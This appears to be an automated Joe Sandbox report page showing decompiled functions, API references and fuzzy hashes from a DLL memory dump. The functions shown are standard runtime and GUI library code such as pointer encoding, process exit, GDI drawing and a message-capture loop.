0x1001ed8f
0x1001ed8f
0x00000000
0x1001ed95

APIs

SendMessageA.USER32 ref: 1001ED72
SendMessageA.USER32 ref: 1001ED8F

Strings

E, xrefs: 1001ED57
F, xrefs: 1001ED47
G, xrefs: 1001ED4F

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: MessageSend
String ID: E$F$G
API String ID: 3850602802-2285628837
Opcode ID: 75d4765127436c8feb85409875db27ec619167c2582a34d1c680a01891537ca4
Instruction ID: dc4b4c78a6ec9a5d257fd02210b00bcc5c35ba8ec66a2d74ed3c31e660744305
Opcode Fuzzy Hash: 75d4765127436c8feb85409875db27ec619167c2582a34d1c680a01891537ca4
Instruction Fuzzy Hash: 1F0126767011D092FA19C711FD847EC1991EB89BC9F0C4431DE051FB8ADA39CCC14701

Uniqueness

Uniqueness Score: -1.00%

Function 10035C30 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,10040A79), ref: 10035C44
GetModuleHandleA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,10040A79), ref: 10035C5F
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,10040A79), ref: 10035C74

Strings

EncodePointer, xrefs: 10035C6A
KERNEL32.DLL, xrefs: 10035C58

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProcValue
String ID: EncodePointer$KERNEL32.DLL
API String ID: 144840598-3682587211
Opcode ID: a6bc92ef94bd146c03088d4e91114ed4d85aeea7da107607ceac191ccc37a80d
Instruction ID: 41d11601acbf3169d4920ff77e124bce308921320f8d20cb6c102b5c9dbb1a63
Opcode Fuzzy Hash: a6bc92ef94bd146c03088d4e91114ed4d85aeea7da107607ceac191ccc37a80d
Instruction Fuzzy Hash: EDF05E2071260489EE4A8B51AC903B42260FB4DBAAF582524CD5E0A3B0EF6895D59B10

Uniqueness

Uniqueness Score: -1.00%

Function 10035D00 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,00000018,10034295,?,?,00000018,1002E317,?,?,?,?,1000E249), ref: 10035D14
GetModuleHandleA.KERNEL32(?,?,00000018,10034295,?,?,00000018,1002E317,?,?,?,?,1000E249), ref: 10035D2F
GetProcAddress.KERNEL32(?,?,00000018,10034295,?,?,00000018,1002E317,?,?,?,?,1000E249), ref: 10035D44

Strings

DecodePointer, xrefs: 10035D3A
KERNEL32.DLL, xrefs: 10035D28

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProcValue
String ID: DecodePointer$KERNEL32.DLL
API String ID: 144840598-629428536
Opcode ID: 33d42c258e33ce9959fe02e96b92ab449ea3485ce3b2aebe3cb626845c9dd30d
Instruction ID: 0b6b988898ccb580df5f73cd99ce226702126461fdc7d67448a5ae23dc56c3b2
Opcode Fuzzy Hash: 33d42c258e33ce9959fe02e96b92ab449ea3485ce3b2aebe3cb626845c9dd30d
Instruction Fuzzy Hash: 3EF0123170160485EE6BCB55A8583B43351FB4DB97F481924DD5E0B3B0EF6C95D59710

Uniqueness

Uniqueness Score: -1.00%

Function 10035CA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,?,10042FFD), ref: 10035CAF
GetModuleHandleA.KERNEL32(?,?,?,?,10042FFD), ref: 10035CCA
GetProcAddress.KERNEL32(?,?,?,?,10042FFD), ref: 10035CDF

Strings

EncodePointer, xrefs: 10035CD5
KERNEL32.DLL, xrefs: 10035CC3

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProcValue
String ID: EncodePointer$KERNEL32.DLL
API String ID: 144840598-3682587211
Opcode ID: 5cf98db598d8def06dcfcb664220899ab16d5d63e3a1969b570108d1bc4dc679
Instruction ID: c13283020e8d060e4ade99ce03c29ee0b2167c80f46d38d4484e36435234e7e6
Opcode Fuzzy Hash: 5cf98db598d8def06dcfcb664220899ab16d5d63e3a1969b570108d1bc4dc679
Instruction Fuzzy Hash: 4AF03730712B0089ED4ADB10AC817A432A1BB4DB9BF801518C84E063B0EFBC8596D700

Uniqueness

Uniqueness Score: -1.00%

Function 100332A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 16libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,10040A21,?,?,?,?,10040B17), ref: 100332AF
GetProcAddress.KERNEL32(?,?,00000000,10040A21,?,?,?,?,10040B17), ref: 100332C4
ExitProcess.KERNEL32 ref: 100332D5

Strings

mscoree.dll, xrefs: 100332A8
CorExitProcess, xrefs: 100332BA

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressExitHandleModuleProcProcess
String ID: CorExitProcess$mscoree.dll
API String ID: 75539706-1276376045
Opcode ID: 1db980144ce4a0e938e05e158cec4ca2e9b952b5ed19560b58d4fa227142c343
Instruction ID: 77aaa88e5222ce5ae27ba453e25a5adc2586de6b29b6ddee63561c881574bee4
Opcode Fuzzy Hash: 1db980144ce4a0e938e05e158cec4ca2e9b952b5ed19560b58d4fa227142c343
Instruction Fuzzy Hash: 69E01730711B0482EF0B9B60FC943A923A1BF4CB61F44542C99AF46361EEBC89889B01

Uniqueness

Uniqueness Score: -1.00%

Function 10001910 Relevance: 7.7, APIs: 5, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E10001910(signed int __ebx, void* __rcx, intOrPtr* __rdx, long long __r8, void* __r9, long long _a8, char _a16, long long _a24, long long _a32) {
				char _v128;
				char _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				signed int _v156;
				signed int _v160;
				long long _v168;
				intOrPtr _v184;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r12;
				void* __r13;
				void* _t77;
				signed int _t95;
				void* _t96;
				signed int _t105;
				void* _t118;
				long long _t119;
				long long _t121;
				intOrPtr* _t155;
				void* _t156;
				long long _t157;
				long long _t158;
				void* _t159;
				void* _t164;
				long long _t167;
				signed char* _t169;
				signed char* _t170;
				intOrPtr _t171;
				long long _t172;
				void* _t173;
				intOrPtr _t174;
				long long _t175;

				_t95 = __ebx;
				_a24 = __r8;
				_t164 = _t159;
				_v168 = 0xfffffffe;
				asm("inc cx");
				asm("inc bp");
				_t155 = __rdx;
				_t156 = __rcx;
				_v160 = 0xffffffff;
				_v156 = 0xffffffff;
				_v152 = 1;
				_v148 = 1;
				 *((long long*)(_t164 - 0x38)) = _t157;
				 *((long long*)(_t164 - 0x40)) = 0x10057cc8;
				 *((long long*)(_t164 - 0x48)) = _t157;
				 *((long long*)(_t164 - 0x50)) = 0x10057cc8;
				E100018D0();
				_t158 =  &_v128;
				E1000F32C(__rdx, __rcx + 0x758);
				r8d =  *(__r8 + 4);
				E1000EED8( *((intOrPtr*)(__r8)), _t155);
				asm("cvtsi2sd xmm1, dword [esi+0xc4]");
				asm("mulsd xmm1, [0x567d8]");
				asm("cvtsi2sd xmm0, dword [esi+0xc0]");
				asm("mulsd xmm0, [0x567c8]");
				E1002F730(_t96);
				asm("repne inc esp");
				GetCurrentObject(??, ??);
				E1000FA50(0x10057cc8, 0x10057cc8);
				_a8 = 0x10057cc8;
				asm("xorpd xmm7, xmm7");
				_t170 = _t156 + 0xc8;
				r15d = 0x168;
				_t167 =  &_v144;
				do {
					E1000FAF0(0x10057cc8, _t158);
					r8d = _t170[1] & 0x000000ff;
					r8d = r8d << 8;
					r8d = r8d | ( *_t170 & 0x000000ff) << 0x00000010;
					r8d = r8d | _t170[2] & 0x000000ff;
					CreatePen(??, ??, ??);
					E1000FA74(_t95, 0x10057cc8, _t158, 0x10057cc8, _t164);
					E1000FBA0(_t155, _t158);
					_t172 = _t167;
					_t167 = _t158;
					_t158 = _t172;
					r9d = 0;
					r8d = 0;
					E1000F380(_t155,  &_a16);
					asm("movsd xmm0, xmm7");
					E1002EEF0(_t155, _t156, _t158, _t167, _t170);
					asm("repne inc ecx");
					asm("addsd xmm0, [0x5670d]");
					asm("cvttsd2si ebx, xmm0");
					asm("movsd xmm0, xmm7");
					E1002F310(_t95, _t118, _t155, _t156, _t158, _t167, _t170);
					asm("repne inc ecx");
					asm("addsd xmm0, [0x566f3]");
					asm("cvttsd2si edx, xmm0");
					r8d = _t95;
					E1000EF18();
					asm("addsd xmm7, [0x566d4]");
					_t170 =  &(_t170[3]);
					_t173 = _t173 - 1;
				} while (_t173 != 0);
				_a32 = _t167;
				E1000F32C(_t155, _t156 + 0x768);
				r8d =  *(_a24 + 4);
				E1000EED8( *_a24, _t155);
				_t165 =  *_t155;
				_t105 = _t173 + 5;
				 *((intOrPtr*)( *_t155 + 0x48))();
				_t119 = 0x10057cc8;
				_a24 = 0x10057cc8;
				_t171 = _t158;
				asm("cdq");
				_t174 = _a8;
				if(_v148 <  *((intOrPtr*)(_t156 + 0xc4)) - _t105 >> 1) {
					_t169 = _t156 + 0x500;
					_t175 = _t172;
					_t121 = _a32;
					while(1) {
						asm("cdq");
						if(_v152 >=  *((intOrPtr*)(_t156 + 0xc0)) - _t105 >> 1 || _t171 >= 0xc8) {
							break;
						}
						E1000FAF0(0x10057cc8, _t172);
						r8d = _t169[1] & 0x000000ff;
						r8d = r8d << 8;
						r8d = r8d | _t169[2] & 0x000000ff;
						r8d = r8d | ( *_t169 & 0x000000ff) << 0x00000010;
						CreatePen(??, ??, ??);
						E1000FA74(_t95, 0x10057cc8, _t172, 0x10057cc8, _t165);
						E1000FBA0(_t155, _t172);
						_t172 = _t121;
						_t121 = _t175;
						_t175 = _t172;
						_t171 = _t171 + 1;
						_t169 =  &(_t169[3]);
						_v184 = _v148;
						r9d = _v152;
						r8d = _v156;
						Ellipse(??, ??, ??, ??, ??);
						r8d = 2;
						_t105 = 2;
						InflateRect(??, ??, ??);
						asm("cdq");
						if(_v148 <  *((intOrPtr*)(_t156 + 0xc4)) - 2 >> 1) {
							continue;
						}
						break;
					}
					_t119 = _a24;
					_t174 = _a8;
				}
				if(_t119 != _t158) {
					_t158 =  *((intOrPtr*)(_t119 + 8));
				}
				E1000FB3C(0x10057cc8);
				E1000FBA0(_t155, _t174);
				_v144 = 0x10057ca8;
				E1000FAF0(0x10057cc8,  &_v144);
				_v128 = 0x10057ca8;
				_t77 = E1000FAF0(0x10057cc8,  &_v128);
				asm("movdqa xmm7, [esp+0x80]");
				asm("inc sp");
				return _t77;
			}

0x10001910
0x10001910
0x10001921
0x1000192b
0x10001934
0x1000193a
0x10001943
0x10001946
0x1000194e
0x10001952
0x10001956
0x1000195e
0x10001968
0x10001973
0x10001977
0x1000197b
0x10001986
0x1000198b
0x1000199a
0x1000199f
0x100019ab
0x100019b0
0x100019b8
0x100019c0
0x100019c8
0x100019d0
0x100019d5
0x100019e3
0x100019ec
0x100019f1
0x100019f9
0x100019fd
0x10001a04
0x10001a0a
0x10001a0f
0x10001a12
0x10001a17
0x10001a1c
0x10001a28
0x10001a30
0x10001a3a
0x10001a46
0x10001a51
0x10001a56
0x10001a59
0x10001a5c
0x10001a5f
0x10001a62
0x10001a70
0x10001a75
0x10001a79
0x10001a7e
0x10001a83
0x10001a8b
0x10001a8f
0x10001a93
0x10001a98
0x10001a9d
0x10001aa5
0x10001aa9
0x10001aaf
0x10001ab4
0x10001abc
0x10001ac0
0x10001ac0
0x10001aca
0x10001adc
0x10001ae9
0x10001af5
0x10001afa
0x10001afd
0x10001b04
0x10001b08
0x10001b0b
0x10001b15
0x10001b1e
0x10001b27
0x10001b2f
0x10001b35
0x10001b3c
0x10001b3f
0x10001b47
0x10001b4d
0x10001b56
0x00000000
0x00000000
0x10001b6c
0x10001b71
0x10001b77
0x10001b81
0x10001b8c
0x10001b96
0x10001ba2
0x10001bad
0x10001bb2
0x10001bb5
0x10001bb8
0x10001bbb
0x10001bbf
0x10001bc7
0x10001bcb
0x10001bd0
0x10001bdd
0x10001be8
0x10001beb
0x10001bf2
0x10001bfe
0x10001c07
0x00000000
0x00000000
0x00000000
0x10001c07
0x10001c0d
0x10001c15
0x10001c15
0x10001c20
0x10001c22
0x10001c22
0x10001c2d
0x10001c38
0x10001c45
0x10001c4f
0x10001c55
0x10001c5f
0x10001c64
0x10001c6d
0x10001c87

APIs

Part of subcall function 1000F32C: SelectClipRgn.GDI32 ref: 1000F356
Part of subcall function 1000F32C: SelectClipRgn.GDI32 ref: 1000F371

Part of subcall function 1000EED8: OffsetClipRgn.GDI32 ref: 1000EEF4
Part of subcall function 1000EED8: OffsetClipRgn.GDI32 ref: 1000EF08

GetCurrentObject.GDI32 ref: 100019E3
CreatePen.GDI32 ref: 10001A3A

Part of subcall function 1000FBA0: SelectObject.GDI32 ref: 1000FBCB
Part of subcall function 1000FBA0: SelectObject.GDI32 ref: 1000FBE6

Part of subcall function 1000F380: MoveToEx.GDI32 ref: 1000F3A7
Part of subcall function 1000F380: MoveToEx.GDI32 ref: 1000F3BE

Part of subcall function 1000EF18: MoveToEx.GDI32 ref: 1000EF3A

CreatePen.GDI32 ref: 10001B96
Ellipse.GDI32 ref: 10001BDD
InflateRect.USER32 ref: 10001BF2

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ClipSelect$MoveObject$CreateOffset$CurrentEllipseInflateRect
String ID:
API String ID: 288967185-0
Opcode ID: 30d59c132ebb8656d52ec746e4024345538f4c8374719faf25e3930cacf47fb7
Instruction ID: fb2ded47a7d568f450ea7e81d1f87d253df9a4c1f5800e35ab40e5053b5e0ce0
Opcode Fuzzy Hash: 30d59c132ebb8656d52ec746e4024345538f4c8374719faf25e3930cacf47fb7
Instruction Fuzzy Hash: BC81F776314A8086E321CB39E8557AEB761F78ABD0F048225EF9A57F45DF39D485CB00

Uniqueness

Uniqueness Score: -1.00%

Function 10038470 Relevance: 7.6, APIs: 5, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E10038470(void* __ebx, signed int __edx, void* __edi, long long __rbx, long long __rcx, signed long long* __rdx, long long __rdi, long long __rsi, long long __rbp, long long __r8, void* __r9, long long __r12, long long __r13, signed int _a40, char _a56, intOrPtr _a72) {
				intOrPtr _v8;
				void* _v16;
				void* _v24;
				intOrPtr _v32;
				void* _v40;
				void* _v48;
				signed int _v88;
				signed int _v136;
				void* _v200;
				long long _v232;
				signed int _v240;
				long long _v248;
				char _v256;
				signed long long _v264;
				long long _v272;
				long long _v280;
				signed int _t63;
				signed int _t70;
				signed int _t71;
				signed int _t74;
				signed long long _t83;
				intOrPtr _t88;
				intOrPtr _t98;
				signed long long _t104;
				signed long long _t107;
				long long _t111;

				_t99 = __rsi;
				_t96 = __rdx;
				_t89 = __rcx;
				_t107 = _t104;
				_t83 =  *0x100b1640; // 0xf93099fb11e7
				_t84 = _t83 ^ _t104;
				_v88 = _t84;
				 *((long long*)(_t107 - 8)) = __rbx;
				 *((long long*)(_t107 - 0x10)) = __rbp;
				 *((long long*)(_t107 - 0x18)) = __rsi;
				 *((long long*)(_t107 - 0x20)) = __rdi;
				 *((long long*)(_t107 - 0x28)) = __r12;
				 *((long long*)(_t107 - 0x30)) = __r13;
				_t111 = __rcx;
				r12d = __edx;
				_t64 = 0x1f80;
				_t71 = r9d;
				E10044590(__ebx, __edi, __r8, __rcx, __rdx, __rdi, __rsi);
				_t70 = _a40;
				_v264 = _t84;
				_v248 = __r8;
				asm("movsd xmm0, [esp+0x40]");
				_t63 = _t70 & 0x0000001f;
				asm("movsd [esp+0x38], xmm0");
				if((dil & 0x00000008) == 0 || bpl >= 0) {
					__eflags = dil & 0x00000004;
					if(__eflags == 0) {
						L6:
						__eflags = dil & 0x00000001;
						if(__eflags == 0) {
							L9:
							__eflags = dil & 0x00000002;
							if(__eflags != 0) {
								asm("dec eax");
								if(__eflags < 0) {
									__eflags = dil & 0x00000010;
									if((dil & 0x00000010) != 0) {
										_t64 = 0x10;
										E10044650(_t63, _t89);
									}
									_t63 = _t63 & 0xfffffffd;
									__eflags = _t63;
								}
							}
							goto L14;
						}
						asm("dec eax");
						if(__eflags >= 0) {
							goto L9;
						}
						_t64 = 8;
						E10044650(_t63, _t89);
						_t63 = _t63 & 0xfffffffe;
						goto L14;
					}
					asm("dec eax");
					if(__eflags >= 0) {
						goto L6;
					} else {
						_t64 = 4;
						E10044650(_t63, _t89);
						_t63 = _t63 & 0xfffffffb;
						goto L14;
					}
				} else {
					_t64 = 1;
					E10044650(_t63, __rcx);
					_t63 = _t63 & 0xfffffff7;
					L14:
					_t74 = dil & 0x00000010;
					if(_t74 != 0) {
						asm("dec eax");
						if(_t74 < 0) {
							_t64 = 0x20;
							E10044650(_t63, _t89);
							_t63 = _t63 & 0xffffffef;
						}
					}
					asm("movdqa [esp+0xf0], xmm6");
					asm("movsd xmm6, [esp+0x178]");
					_t88 = _v8;
					if(_t63 != 0) {
						if(_a72 == 2) {
							asm("movsd [esp+0xa0], xmm6");
							_v136 = _v136 & 0xffffffe3 | 0x00000003;
						}
						_t96 =  &_v264;
						_v272 =  &_v256;
						_t84 =  &_a56;
						r9d = r12d;
						r8d = _t70;
						_v280 =  &_a56;
						E100444C0();
					}
					_t98 = _v32;
					if( *0x100b2f40 != 0 || _t71 == 0) {
						_t64 = _t71;
						E10044520(_t71, _t84);
						E10044590(_t63, _t70, _t88, _v264, _t96, _t98, _t99);
						asm("movsd xmm0, [esp+0x38]");
					} else {
						asm("movsd xmm0, [esp+0x170]");
						asm("movsd xmm1, [esp+0x38]");
						_v240 = _t71;
						_v232 = _t111;
						asm("movsd [esp+0x58], xmm0");
						asm("movsd [esp+0x68], xmm1");
						asm("movsd [esp+0x60], xmm6");
						E10044590(_t63, _t70, _t88, _v264, _t96, _t98, _t99);
						if(E10051D50() == 0) {
							_t64 = _t71;
							E10044520(_t71, _t84);
						}
						asm("movsd xmm0, [esp+0x68]");
					}
					asm("movdqa xmm6, [esp+0xf0]");
					return E1002FF40(_t64, _v88 ^ _t104);
				}
			}

0x10038470
0x10038470
0x10038470
0x10038470
0x1003847a
0x10038481
0x10038484
0x1003848c
0x10038490
0x10038494
0x10038498
0x1003849c
0x100384a0
0x100384a4
0x100384a7
0x100384aa
0x100384b4
0x100384ba
0x100384bf
0x100384c6
0x100384cb
0x100384d2
0x100384dd
0x100384e0
0x100384ea
0x10038500
0x10038504
0x1003851e
0x1003851e
0x10038522
0x1003853c
0x1003853c
0x10038540
0x10038542
0x10038549
0x1003854b
0x1003854f
0x10038551
0x10038556
0x10038556
0x1003855b
0x1003855b
0x1003855b
0x10038549
0x00000000
0x10038540
0x10038524
0x1003852b
0x00000000
0x00000000
0x1003852d
0x10038532
0x10038537
0x00000000
0x10038537
0x10038506
0x1003850d
0x00000000
0x1003850f
0x1003850f
0x10038514
0x10038519
0x00000000
0x10038519
0x100384f1
0x100384f1
0x100384f6
0x100384fb
0x1003855e
0x1003855e
0x10038562
0x10038564
0x10038569
0x1003856b
0x10038570
0x10038575
0x10038575
0x10038569
0x10038578
0x10038581
0x10038594
0x1003859c
0x100385a6
0x100385af
0x100385be
0x100385be
0x100385ca
0x100385d4
0x100385d9
0x100385e1
0x100385e4
0x100385e7
0x100385ec
0x100385ec
0x10038600
0x10038608
0x10038664
0x10038666
0x10038675
0x1003867a
0x1003860e
0x1003860e
0x10038617
0x10038627
0x1003862b
0x10038630
0x10038636
0x1003863c
0x10038642
0x10038653
0x10038655
0x10038657
0x10038657
0x1003865c
0x1003865c
0x10038680
0x100386b0
0x100386b0

APIs

_set_statfp.LIBCMT ref: 100384F6
_set_statfp.LIBCMT ref: 10038514
_set_statfp.LIBCMT ref: 10038532
_set_statfp.LIBCMT ref: 10038570

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: b26c046d27eaaa33b3d1472a42085eaab9b8da221dff32bee656e7a288b33128
Instruction ID: 56f34fc51b032f60d45882f28b2808b0fc130ad1343f3ad19561898eb844a25a
Opcode Fuzzy Hash: b26c046d27eaaa33b3d1472a42085eaab9b8da221dff32bee656e7a288b33128
Instruction Fuzzy Hash: 5B518E36618FC18AD762CF14F44139FB3A0FB8A7A0F110665FB9A4BA99DF78C5418B44

Uniqueness

Uniqueness Score: -1.00%

Function 1002C868 Relevance: 7.6, APIs: 5, Instructions: 77
windowCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E1002C868(long long __ecx, void* __rax, void* __rcx) {
				intOrPtr _v20;
				long long _v40;
				intOrPtr _v48;
				void* _v56;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t32;
				void* _t37;
				long long _t38;
				void* _t40;
				void* _t41;
				void* _t50;
				void* _t51;
				void* _t61;
				void* _t62;
				intOrPtr _t64;
				void* _t65;
				void* _t66;
				void* _t67;
				void* _t68;

				_t50 = __rax;
				_t38 = __ecx;
				_t51 = __rcx;
				GetCapture();
				if(__rax != 0) {
					L25:
					__eflags = 0;
					return 0;
				} else {
					SetCapture();
					E10014360(_t37, _t39, __rax, __rax, _t64, _t65, _t66, _t67);
					while(1) {
						GetCapture();
						E10014360(_t37, _t39, _t50, _t50, _t64, _t65, _t66, _t67);
						if(_t50 !=  *((intOrPtr*)(_t51 + 0x70))) {
							break;
						}
						r9d = 0;
						r8d = 0;
						_t39 = 0;
						if(GetMessageA(??, ??, ??, ??) == 0) {
							_t38 = _v40;
							E1001BEFC();
							break;
						}
						_t25 = _v48 - 0x100;
						if(_t25 == 0) {
							__eflags =  *((intOrPtr*)(_t51 + 0xa0));
							if( *((intOrPtr*)(_t51 + 0xa0)) != 0) {
								_t39 = _v40;
								r8d = 1;
								E1002C47C(_v40, _t51);
							}
							__eflags = _v40 - 0x1b;
							if(__eflags == 0) {
								break;
							} else {
								continue;
							}
						}
						_t27 = _t25 - 1;
						if(_t27 == 0) {
							__eflags =  *((intOrPtr*)(_t51 + 0xa0));
							if(__eflags != 0) {
								_t39 = _v40;
								r8d = 0;
								E1002C47C(_v40, _t51);
							}
							continue;
						}
						_t29 = _t27 - 0xff;
						if(_t29 == 0) {
							__eflags =  *((intOrPtr*)(_t51 + 0xa0));
							_t64 = _v20;
							_t61 = _t51;
							if( *((intOrPtr*)(_t51 + 0xa0)) == 0) {
								E1002C4BC(_t29, 0, _t61, _t64);
							} else {
								E1002C3E0(_t29, 0, _t40, _t61, _t64, _t65, _t66, _t67);
							}
							continue;
						}
						_t32 = _t29 - 2;
						if(_t32 == 0) {
							__eflags =  *((intOrPtr*)(_t51 + 0xa0));
							_t62 = _t51;
							if(__eflags == 0) {
								E1002C810(_t37, _t38, 0, _t41, __eflags, _t50, _t62, _t64, _t66, _t67, _t68);
							} else {
								E1002C6F0(_t37, _t38, 0, _t41, __eflags, _t50, _t62, _t64, _t66, _t67, _t68);
							}
							return 1;
						}
						if(_t32 == 2) {
							break;
						}
						DispatchMessageA();
					}
					E1002C690(_t38, __eflags, _t50, _t51, _t64, _t67);
					goto L25;
				}
			}

0x1002c868
0x1002c868
0x1002c86e
0x1002c871
0x1002c87a
0x1002c99d
0x1002c99d
0x00000000
0x1002c880
0x1002c888
0x1002c891
0x1002c896
0x1002c896
0x1002c89f
0x1002c8a8
0x00000000
0x00000000
0x1002c8b3
0x1002c8b6
0x1002c8b9
0x1002c8c3
0x1002c98c
0x1002c990
0x00000000
0x1002c990
0x1002c8cd
0x1002c8d2
0x1002c945
0x1002c94c
0x1002c94e
0x1002c952
0x1002c95b
0x1002c95b
0x1002c960
0x1002c966
0x00000000
0x1002c968
0x00000000
0x1002c968
0x1002c966
0x1002c8d4
0x1002c8d7
0x1002c924
0x1002c92b
0x1002c931
0x1002c935
0x1002c93b
0x1002c93b
0x00000000
0x1002c92b
0x1002c8d9
0x1002c8de
0x1002c8ff
0x1002c906
0x1002c90b
0x1002c90e
0x1002c91a
0x1002c910
0x1002c910
0x1002c910
0x00000000
0x1002c90e
0x1002c8e0
0x1002c8e3
0x1002c96d
0x1002c974
0x1002c977
0x1002c980
0x1002c979
0x1002c979
0x1002c979
0x00000000
0x1002c985
0x1002c8ec
0x00000000
0x00000000
0x1002c8f7
0x1002c8f7
0x1002c998
0x00000000
0x1002c998

APIs

GetCapture.USER32 ref: 1002C871
SetCapture.USER32 ref: 1002C888
GetCapture.USER32 ref: 1002C896
GetMessageA.USER32 ref: 1002C8BB
DispatchMessageA.USER32 ref: 1002C8F7

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
